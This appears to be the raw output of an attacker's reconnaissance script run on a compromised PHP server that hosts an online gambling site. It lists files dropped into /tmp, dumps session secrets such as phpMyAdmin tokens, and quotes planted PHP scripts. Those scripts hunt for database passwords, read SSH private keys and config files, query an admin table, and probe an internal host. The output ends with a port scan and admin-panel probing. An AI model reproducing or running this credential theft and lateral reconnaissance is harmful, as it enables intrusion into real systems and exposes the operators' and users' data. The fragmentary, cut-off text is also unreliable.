ZZBT1 BEGIN php=7.4.30 sapi=fpm-fcgi host=singapore-webuzo-4gb user=www ob=/www/wwwroot/167.172.95.167/:/tmp/ SERVER_ADDR=167.172.95.167 SERVER_NAME=wg4d-cireng.site SERVER_PORT=443 hostname_ip=127.0.1.1 docroot=/www/wwwroot/167.172.95.167 ##### /tmp INVENTORY ##### sess_count=858 non_session_entries(62): .ICE-unix/ size=4096 mtime=2025-10-04 16:52 .Test-unix/ size=4096 mtime=2025-10-04 16:52 .X11-unix/ size=4096 mtime=2025-10-04 16:52 .XIM-unix/ size=4096 mtime=2025-10-04 16:52 .font-unix/ size=4096 mtime=2025-10-04 16:52 ap_file_bk.conf/file size=911 mtime=2026-09-21 05:57 cert.pl/file size=1700 mtime=2026-08-27 10:36 ck24378.txt/file size=222 mtime=2026-11-07 03:41 i24541_hits.log/file size=465 mtime=2026-11-07 09:33 lh.291314/file size=177 mtime=2026-11-07 09:22 lp.291314/file size=138 mtime=2026-11-07 09:22 mapped.txt/file size=0 mtime=2026-11-07 20:22 md.json/file size=22227 mtime=2026-11-07 12:22 mysql.sock/file size=0 mtime=2025-10-04 16:52 mysql.sock.lock/file size=5 mtime=2025-10-04 16:52 o.html/file size=4547 mtime=2026-11-07 10:30 pb.hdr/file size=177 mtime=2026-11-07 12:22 pb.out/file size=138 mtime=2026-11-07 12:22 pb2.out/file size=317 mtime=2026-11-07 12:24 php-cgi-74.sock/file size=0 mtime=2025-10-04 16:52 plogin.html/file size=138 mtime=2026-11-07 12:22 snap-private-tmp/ size=4096 mtime=2026-11-02 10:35 systemd-private-37ca97552ccf4f599818e755e833d29e-ModemManager.service-YdmUof/ size=4096 mtime=2025-10-04 16:52 systemd-private-37ca97552ccf4f599818e755e833d29e-do-agent.service-XMiLWe/ size=4096 mtime=2026-10-09 14:30 systemd-private-37ca97552ccf4f599818e755e833d29e-systemd-logind.service-6ZKzOi/ size=4096 mtime=2025-10-04 16:52 systemd-private-37ca97552ccf4f599818e755e833d29e-systemd-resolved.service-4FcIdg/ size=4096 mtime=2025-10-04 16:52 systemd-private-37ca97552ccf4f599818e755e833d29e-systemd-timesyncd.service-ihah7h/ size=4096 mtime=2025-10-04 16:52 u.out/file size=138 mtime=2026-11-07 12:24 unc.err/file size=75 mtime=2026-11-07 12:21 unc.out/file size=0 mtime=2026-11-07 12:21 z2447_b1/file size=0 mtime=2026-11-07 14:15 z2447_h1/file size=806 mtime=2026-11-07 14:15 z2447_ln/file size=530405 mtime=2026-11-07 14:17 z2447_ln2/file size=530405 mtime=2026-11-07 14:18 z2447b/file size=1634 mtime=2026-11-07 14:18 z2447b2/file size=12 mtime=2026-11-07 14:17 z2447h/file size=796 mtime=2026-11-07 14:18 z2447h6/file size=0 mtime=2026-11-07 14:18 z25218_b/file size=1472 mtime=2026-11-08 08:40 z25218_bg/file size=21684 mtime=2026-11-08 08:40 z25218_buangan/file size=35958 mtime=2026-11-08 08:40 z25218_h/file size=543 mtime=2026-11-08 08:40 z25218_imgotp/file size=35972 mtime=2026-11-08 08:40 z25218b/file size=5667 mtime=2026-11-08 08:40 z25218h/file size=710 mtime=2026-11-08 08:40 zip.log/file size=36 mtime=2025-11-14 15:26 zz24252f.php/file size=343 mtime=2026-11-08 11:18 zz24252out.php/file size=855 mtime=2026-11-08 11:18 zz24252run.php/file size=3043 mtime=2026-11-08 08:41 zz24442.out/file size=1756 mtime=2026-11-08 08:41 zz24442.sh/file size=736 mtime=2026-11-08 08:41 zz24442mail.php/file size=259 mtime=2026-11-07 05:30 zz24442probe.php/file size=395 mtime=2026-11-07 05:21 zz24442x.php/file size=43 mtime=2026-11-08 08:41 zz24632.out/file size=628 mtime=2026-11-07 20:23 zz24632.sh/file size=558 mtime=2026-11-07 20:23 zz24632x.php/file size=43 mtime=2026-11-07 20:23 zz24805.out/file size=1600 mtime=2026-11-07 18:09 zz24805.sh/file size=683 mtime=2026-11-07 18:09 zz24805x.php/file size=43 mtime=2026-11-07 18:09 zzmail_out/file size=58 mtime=2026-11-07 05:31 zzsendmail_24442/file size=80 mtime=2026-11-07 05:30 ##### /tmp ARTIFACTS ##### -- /tmp/ap_file_bk.conf len=911 ServerAdmin webmaster@example.com DocumentRoot "/www/wwwroot/167.172.95.167" ServerName cd0fe6e0.wg4dbarak.com ServerAlias wg4dbarak.com #errorDocument 404 /404.html ErrorLog "/www/wwwlogs/wg4dbarak.com-error_log" CustomLog "/www/wwwlogs/wg4dbarak.com-access_log" combined #DENY FILES Order allow,deny Deny from all #PHP SetHandler "proxy:unix:/tmp/php-cgi-74.sock|fcgi://localhost" #PATH SetOutputFilter DEFLATE Options FollowSymLinks AllowOverride All Require all granted DirectoryIndex index.php index.html index.htm default.php default.html default.htm -- /tmp/zip.log len=36 .user.ini WG4D_2_2.7.apk index.html ##### SESSION ANALYSIS ##### -- sess_1klqp5ab7keoncvqhrckdd1og6 size=103 raw: PMA_token |s:32:"7b2f652c674866362b645f286f643472"; HMAC_secret |s:16:"}:(rwTsHlrQA[E<#";errors|a:0:{} ctx: -- sess_4dh785e1n51bb22tgh79t7b7d5 size=103 raw: PMA_token |s:32:"4c56736d2b6a2f295e7a5a397d274079"; HMAC_secret |s:16:"35#1NXHHV[!y!.(E";errors|a:0:{} ctx: -- sess_4end4lm91g60ddku03bh68hluj size=103 raw: PMA_token |s:32:"7f553a4b256f5167503d382d41217b7e"; HMAC_secret |s:16:"'civWI$C[TBotlJA";errors|a:0:{} ctx: -- sess_7dl3uh6tqa40j96pk9o1uemhu3 size=103 raw: PMA_token |s:32:"3b7238377b515335673b4d507d454147"; HMAC_secret |s:16:"?(`\hH\3!}#"\lN0";errors|a:0:{} ctx: -- sess_7nse8p1cm8ues40ts8cqt1k90v size=21 raw: username|s:5:"admin"; ctx: -- sess_7s0ekeulndtsiq53fd1s7jifjt size=121 raw: PMA_token |s:32:"297a5c29253447312535653a746d6e37"; HMAC_secret |s:16:"HtbOf~}~#"(dEE23";ConfigFile1|a:0:{}errors|a:0:{} ctx: -- sess_8pcnhppai0vvv1obphdmcg5km2 size=121 raw: PMA_token |s:32:"6b2c53673b21424c63534d7023796f57"; HMAC_secret |s:16:":>bZilrc)l)zc$2/";ConfigFile1|a:0:{}errors|a:0:{} ctx: -- sess_8tsm8p9g14mu7p8pl5p6ljcb67 size=103 raw: PMA_token |s:32:"29536e5226386e343e3a3a79257b6564"; HMAC_secret |s:16:";B##@D-3.;8iP[7W";errors|a:0:{} ctx: -- sess_drsri1o5pj2mia6c70bk8aot6v size=21 raw: username|s:5:"admin"; ctx: -- sess_e948llbdcfqf5kc25k4gcj3asn size=103 raw: PMA_token |s:32:"617a783971635b2e6d4570586b372433"; HMAC_secret |s:16:"!J7}0RF#&{mn1=12) break; } } if(preg_match_all('/money_db|money_user|10\.182\.0\.55|\/home\/wg4d|almalv46|auth\.gacooor\.com|wg4dkicau\.c || kw='/phpmyadmin|\/www\/server\/panel|admin_path|default\.db|money_db|money_user|10\.182\.0\.55|\/home\/wg4d|almalv46|auth\.gacooor\.com/i'; $skip=ar || ,50}(phpmyadmin|\/www\/server\/panel|admin_path|default\.db|money_db|money_user|10\.182\.0\.55|\/home\/wg4d|almalv46|auth\.gacooor\.com).{0,70}/is', HIT /www/wwwroot/167.172.95.167/rtp/slot/zzbt6_c01abfc24b69.php false && preg_match('/(api[_ ]?key|pass(word)?|secret|token|money_db|money_user|10\.182\.0\.55|\/home\/wg4d|almalv46|auth\.gacooor\.com)/i',$d)){ || f(preg_match('/.{0,60}(api[_ ]?key|pass(word)?|secret|token|money_db|money_user|10\.182\.0\.55|\/home\/wg4d|almalv46|auth\.gacooor\.com).{0,80}/is', HIT /www/wwwroot/167.172.95.167/rtp/slot/zzc24139a.php #\n"; $B='/www/wwwroot/167.172.95.167/keluaranbwg77'; $kw='/money_db|money_user|AlunaRyvia88|10\.182\.0\.55|\/home\/wg4d|almalv46|auth\.gacooor\.com HIT /www/wwwroot/167.172.95.167/rtp/slot/zzdns24231_376418f7.php icau.org','cpanel.wg4dkicau.org','webmail.wg4dkicau.org', 'almalv46.us-west4-a.c.p4d-ls.internal','apibackup.us-east1-c.c.p4d-sc.internal', 'almal || m','nahbisa.com','payment.nahbisa.com','onpay.nahbisa.com','almalv46.us-west4-a.c.p4d-ls.internal','apibackup.us-east1-c.c.p4d-sc.internal'); foreac || PTR ==\n"; foreach(array('167.172.95.167','209.58.145.225','10.182.0.55','104.21.75.138','104.18.43.118') as $ip){ echo "PTR $ip => ".@gethostbyaddr( HIT /www/wwwroot/167.172.95.167/rtp/slot/zzi237s_3171019242.php ho "\n##### BRIDGE KEYWORDS (full docroot) #####\n"; $kw3='/money_db|money_user|AlunaRyvia88|10\.182\.0\.55|\/home\/wg4d|multiweb|temp_password|admi || n_ip|almalv46|auth\.gacooor|wg4dkicau\.com/i'; $h3=0;$sc3=0; try{ $it=new RecursiveIterator HIT /www/wwwroot/167.172.95.167/rtp/slot/zzn2_90457f96.php n "FAIL $dt s errno=$en err=$es"; } $tests = array( array('10.182.0.55',443,6.0), array('10.182.0.55',80,6.0), array('104.21.87.150',80,3.0), array HIT /www/wwwroot/167.172.95.167/rtp/slot/zzn_01678a7c.php r'] = $es; } return $r; } $targets = array( array('10.182.0.55', 80), array('10.182.0.55', 443), array('10.182.0.55', 3306), array || ('10.182.0.55', 22), array('10.182.0.55', 2083), array('10.182.0.55', 2087), /* baseline: www's Cloudflare edge || red; 443 TLS, 80 plain */ $head_targets = array( array('10.182.0.55', 80, false, '/'), array('10.182.0.55', 443, true, '/'), array('10.182. HIT /www/wwwroot/167.172.95.167/rtp/slot/zzprobe24092grep.php [$f]=1; } } echo "scanned_files=".count($files)."\n"; $kw='/money_user|money_db|AlunaRyvia88|wg4dkicau\.com|admin_ip|temp_password|admintoken/'; $n=0; HIT /www/wwwroot/167.172.95.167/rtp/slot/zzprobe24092grep2.php [$f]=1; } } echo "scanned_files=".count($files)."\n"; $kw='/money_user|money_db|AlunaRyvia88|wg4dkicau\.com|admin_ip|temp_password|admintoken/'; $n=0; HIT /www/wwwroot/167.172.95.167/rtp/slot/zzr1_0f43e29205.php ot', '/root/.ssh/id_rsa', '/root/.ssh/authorized_keys', '/home/wg4d/public_html/wp-config.php', '/home/wg4d/.my.cnf' ); foreach($targets as $f){ HIT /www/wwwroot/167.172.95.167/rtp/slot/zzr2_91c30f818f.php UNT(*) n FROM information_schema.tables WHERE table_schema='money_db'", "SELECT COUNT(*) n FROM money_db.admins" ); foreach($qs as $q){ || |mysql_connect|PDO\(|password|passwd|dbname|DB_NAME|DB_USER|money_db|money_user|AlunaRyvia88|wg4d|wg4dkicau|auth\.gacooor|167\.172\.95\.167|\/home\/ HIT /www/wwwroot/167.172.95.167/rtp/slot/zzr3_d017b7e01d.php ho $x."\n"; } echo "== HIGH-VALUE KEYWORD SCAN ==\n"; $kw='/money_db|money_user|AlunaRyvia88|auth\.gacooor|209\.58\.145\.225|10\.182\.0\.55|home\/wg || keys=array('useradmin','admintoken','username','marketing','money_db','wg4d','mktadmin','sa|','admin','password','userx'); $cnt=array_fill_keys($key HIT /www/wwwroot/167.172.95.167/rtp/slot/zzr5_f8d5041b4c.php (array('www.wg4dkicau.com','wg4dkicau.org','wg4dbarak.com','almalv46.us-west4-a.c.p4d-ls.internal','10.182.0.55','localhost') as $h){ $ip=@gethost HIT /www/wwwroot/167.172.95.167/rtp/slot/zzrd_bf3e3e6e.php tc/my.cnf', '/etc/hosts', '/root/.ssh/authorized_keys', '/home/wg4d/public_html/wp-config.php', '/home/wg4d/public_html/.env', '/home/wg4d/public || fig + vhost area, read-only */ $hits = 0; $needles = array('money_user', 'AlunaRyvia88', 'money_db', 'wg4dkicau.com', '10.182.0.55', 'admin_ip', 'temp HIT /www/wwwroot/167.172.95.167/marketWnC7rCEh/sosmed/zzsc24127b_091f2567.php false) continue; if(preg_match_all('/multiweb|dbip|dbpass|money_db|10\.182\.0\.55/i',$cc,$m,PREG_OFFSET_CAPTURE)){ foreach($m[0] as $h){ if($n scanned=381 keyword_hits=17 ##### PORT SCAN ##### v4:21 OPEN v4:22 OPEN v4:25 OPEN v4:80 OPEN v4:443 OPEN v4:888 OPEN v4:3306 OPEN v4:9443 OPEN ##### 127.0.0.1:888 ##### GET / => code=403 len=259 Server: Apache title=403 Forbidden body= 403 Forbidden

Forbidden

You don't have permission to access this GET /index.php => code=404 len=16 Server: Apache title= body=File not found. GET /phpmyadmin/ => code=404 len=256 Server: Apache title=404 Not Found body= 404 Not Found

Not Found

The requested URL was not found on this s GET /phpmyadmin/index.php => code=404 len=256 Server: Apache title=404 Not Found body= 404 Not Found

Not Found

The requested URL was not found on this s GET /pma/ => code=404 len=256 Server: Apache title=404 Not Found body= 404 Not Found

Not Found

The requested URL was not found on this s GET /sql.php => code=404 len=16 Server: Apache title= body=File not found. GET /README => code=404 len=256 Server: Apache title=404 Not Found body= 404 Not Found

Not Found

The requested URL was not found on this s GET /doc/ => code=404 len=256 Server: Apache title=404 Not Found body= 404 Not Found

Not Found

The requested URL was not found on this s GET /favicon.ico => code=404 len=256 Server: Apache title=404 Not Found body= 404 Not Found

Not Found

The requested URL was not found on this s GET /robots.txt => code=404 len=256 Server: Apache title=404 Not Found body= 404 Not Found

Not Found

The requested URL was not found on this s GET /config.inc.php => code=404 len=16 Server: Apache title= body=File not found. GET /login => code=404 len=256 Server: Apache title=404 Not Found body= 404 Not Found

Not Found

The requested URL was not found on this s GET /panel => code=404 len=256 Server: Apache title=404 Not Found body= 404 Not Found

Not Found

The requested URL was not found on this s GET /8888 => code=404 len=256 Server: Apache title=404 Not Found body= 404 Not Found

Not Found

The requested URL was not found on this s GET /phpMyAdmin/ => code=404 len=256 Server: Apache title=404 Not Found body= 404 Not Found

Not Found

The requested URL was not found on this s GET /mysql/ => code=404 len=256 Server: Apache title=404 Not Found body= 404 Not Found

Not Found

The requested URL was not found on this s GET /admin/ => code=404 len=256 Server: Apache title=404 Not Found body= 404 Not Found

Not Found

The requested URL was not found on this s GET /setup/ => code=404 len=256 Server: Apache title=404 Not Found body= 404 Not Found

Not Found

The requested URL was not found on this s GET /server-status => code=404 len=256 Server: Apache title=404 Not Found body= 404 Not Found

Not Found

The requested URL was not found on this s GET /server-info => code=404 len=256 Server: Apache title=404 Not Found body= 404 Not Found

Not Found

The requested URL was not found on this s GET /.user.ini => code=403 len=259 Server: Apache title=403 Forbidden body= 403 Forbidden

Forbidden

You don't have permission to access this GET /.htaccess => code=403 len=259 Server: Apache title=403 Forbidden body= 403 Forbidden

Forbidden

You don't have permission to access this 888 HOST localhost / => code=403 len=258 Server: Apache title=403 Forbidden body= 403 Forbidden

Forbidden

You don't have permission to access this 888 HOST singapore-webuzo-4gb / => code=403 len=269 Server: Apache title=403 Forbidden body= 403 Forbidden

Forbidden

You don't have permission to access this 888 HOST 127.0.0.1 / => code=403 len=258 Server: Apache title=403 Forbidden body= 403 Forbidden

Forbidden

You don't have permission to access this 888 HOST wg4dkicau.org / => code=403 len=262 Server: Apache title=403 Forbidden body= 403 Forbidden

Forbidden

You don't have permission to access this 888 HOST cd0fe6e0.wg4dbarak.com / => code=403 len=271 Server: Apache title=403 Forbidden body= 403 Forbidden

Forbidden

You don't have permission to access this 888 HOST wg4dbarak.com / => code=403 len=262 Server: Apache title=403 Forbidden body= 403 Forbidden

Forbidden

You don't have permission to access this ##### 127.0.0.1:8443 ##### GET https:8443/ => ERR code=0 err=Failed to connect to 127.0.0.1 port 8443: Connection refused GET https:8443/login => ERR code=0 err=Failed to connect to 127.0.0.1 port 8443: Connection refused GET https:8443/index.php => ERR code=0 err=Failed to connect to 127.0.0.1 port 8443: Connection refused GET https:8443/phpmyadmin/ => ERR code=0 err=Failed to connect to 127.0.0.1 port 8443: Connection refused GET https:8443/phpmyadmin/index.php => ERR code=0 err=Failed to connect to 127.0.0.1 port 8443: Connection refused GET https:8443/panel => ERR code=0 err=Failed to connect to 127.0.0.1 port 8443: Connection refused ##### 127.0.0.1:8888 / 8080 ##### http:8888/ => ERR code=0 err=Failed to connect to 127.0.0.1 port 8888: Connection refused https:8888/ => ERR code=0 err=Failed to connect to 127.0.0.1 port 8888: Connection refused http:8080/ => ERR code=0 err=Failed to connect to 127.0.0.1 port 8080: Connection refused ##### 443 host variants ##### 443 HOST localhost / => code=200 len=22080 Server: Apache title=Situs Resmi BWG77 Menyediakan Pelayanan Terbaik dan Game Online yang Mudah Menan body= Situs Resmi BWG77 Menyediakan Pelayanan Terbaik dan Game Online yang Mudah Menang Tahun 2024 code=200 len=22080 Server: Apache title=Situs Resmi BWG77 Menyediakan Pelayanan Terbaik dan Game Online yang Mudah Menan body= Situs Resmi BWG77 Menyediakan Pelayanan Terbaik dan Game Online yang Mudah Menang Tahun 2024 code=200 len=22080 Server: Apache title=Situs Resmi BWG77 Menyediakan Pelayanan Terbaik dan Game Online yang Mudah Menan body= Situs Resmi BWG77 Menyediakan Pelayanan Terbaik dan Game Online yang Mudah Menang Tahun 2024 code=200 len=22080 Server: Apache title=Situs Resmi BWG77 Menyediakan Pelayanan Terbaik dan Game Online yang Mudah Menan body= Situs Resmi BWG77 Menyediakan Pelayanan Terbaik dan Game Online yang Mudah Menang Tahun 2024 code=200 len=22080 Server: Apache title=Situs Resmi BWG77 Menyediakan Pelayanan Terbaik dan Game Online yang Mudah Menan body= Situs Resmi BWG77 Menyediakan Pelayanan Terbaik dan Game Online yang Mudah Menang Tahun 2024 code=200 len=22080 Server: Apache title=Situs Resmi BWG77 Menyediakan Pelayanan Terbaik dan Game Online yang Mudah Menan body= Situs Resmi BWG77 Menyediakan Pelayanan Terbaik dan Game Online yang Mudah Menang Tahun 2024 code=200 len=22080 Server: Apache title=Situs Resmi BWG77 Menyediakan Pelayanan Terbaik dan Game Online yang Mudah Menan body= Situs Resmi BWG77 Menyediakan Pelayanan Terbaik dan Game Online yang Mudah Menang Tahun 2024